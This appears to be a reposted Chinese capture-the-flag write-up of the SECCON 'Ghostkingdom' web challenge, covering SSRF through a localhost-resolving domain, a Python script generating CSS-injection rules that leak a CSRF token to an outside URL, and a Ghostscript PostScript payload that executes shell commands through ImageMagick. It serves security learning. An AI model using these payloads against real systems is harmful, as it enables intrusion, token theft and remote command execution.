seccon Ghostkingdom

栏目: CSS · 发布时间: 6年前

内容简介:题目链接#流程分析打开题目,先是一个简单的注册登陆流程,但是提交参数都是用的get提交的。

题目链接 http://ghostkingdom.pwn.seccon.jp/FLAG/

#流程分析

打开题目,先是一个简单的注册登陆流程,但是提交参数都是用的get提交的。

seccon Ghostkingdom

登陆之后有3个基本的功能。

Message to admin
Take a screenshot
Upload image   * Only for users logged in from the local network

先看一下每个功能的作用。

Message to admin

可以给admin发送消息,有两种模式,但是本质上是一样的只是多了css的渲染。我们直接看看Emergency方式。

url:http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=%3C%3E&action=msgadm2

其中base64解码之后,被输出到了\ 标签中。

<style>span{background-color:red;color:yellow}</style>

这里想通过引入<>括号,来进行xss,但是可惜的是直接被转义了,那这样的化我们只能通过 span{background-image:url(url)} 来发送一个get请求,但是这里在做题的时候把这个payload发送给admin的化在vps上面是收不到请求的,看了writeup才知道Send to admin 功能是无效的 。

Take a screenshot

访问一个的url,并截屏,而且是解析js的。很明显这里是存在ssrf的。尝试访问一下 http://127.0.0.1/,可以看到还是做了过滤的。

seccon Ghostkingdom

那我们把一个域名解析到127.0.0.1试试,我这里用的是t.mt1024.cn。成功的绕过了防护。那我们用之前的get登陆的方式尝试登陆一下。可以看到是有upload功能的。那现在的问题也就是我们要怎么伪造成localhost’登陆。

http://ghostkingdom.pwn.seccon.jp/?url=http%3a%2f%2ft.mt1024.cn%2f%2f%3fuser%3dmt1234567890%26pass%3dmt1234567890a%26action%3dlogin&wd=ip&action=sshot2

seccon Ghostkingdom

css injection

但是我们可以发现,我们得cookie和发送admin信息的csrf token是相同的。那这样的化我们可以用 css injection 来获取csrf token的值从而伪造我们是locahost登陆的。(其实这里我自己也有点搞不懂了,比赛的时候

这里直接借用一下大佬的payload:

import base64
def getBase64(s):
    z = []
    for i  in  '0123456789abcdef':
        st = s + i
        z.append('input[value^="{}"] {{background: url(http://sevice/?csrf={})}}'.format(st, st))
    return base64.b64encode('\n'.join(z))

def formatURL(s):
    return "http://0.0.0.0/?css={}&action=msgadm2".format(s)

print formatURL(getBase64(''))

然后我们在用之前的get登陆,然后用css去注入我们的cookie。(但是这里我自己也有点搞不懂,做题的时候也登陆了账号去在localhost注册cookie,但是访问upload的时候还是提示没有登陆,就以为是30s的限制别人把自己的cookie挤掉了,但是访问send message的时候就可以了。而且把自己本地的cookie清除掉了之后,localhost的cookie也掉了,或许只是争对payload将两边的cookie做了一个关系把。)

最后得到cookie:8dc4811759c90887a1f2d6

ghostscript命令执行

得到cookie之后我们就可以看到上传的页面了,我们直接上传一张不正常的图片。然后将其Convert to GIF format。

seccon Ghostkingdom

可以根据报错信息,搜到使用的ImageMagick进行的图片转换。然后用网上的[payload][ https://bbs.ichunqiu.com/thread-44747-1-1.html]一把唆就完事了。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/)) currentdevice putdeviceprops

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

我的第一本算法书

我的第一本算法书

[日]石田保辉、[日]宮崎修一 / 张贝 / 人民邮电出版社 / 2018-10 / 69.00元

本书采用大量图片,通过详细的分步讲解,以直观、易懂的方式展现了7个数据结构和26个基础算法的基本原理。第1章介绍了链表、数组、栈等7个数据结构;从第2章到第7章,分别介绍了和排序、查找、图论、安全、聚类等相关的26个基础算法,内容涉及冒泡排序、二分查找、广度优先搜索、哈希函数、迪菲 - 赫尔曼密钥交换、k-means 算法等。 本书没有枯燥的理论和复杂的公式,而是通过大量的步骤图帮助读者加深......一起来看看 《我的第一本算法书》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

MD5 加密
MD5 加密

MD5 加密工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具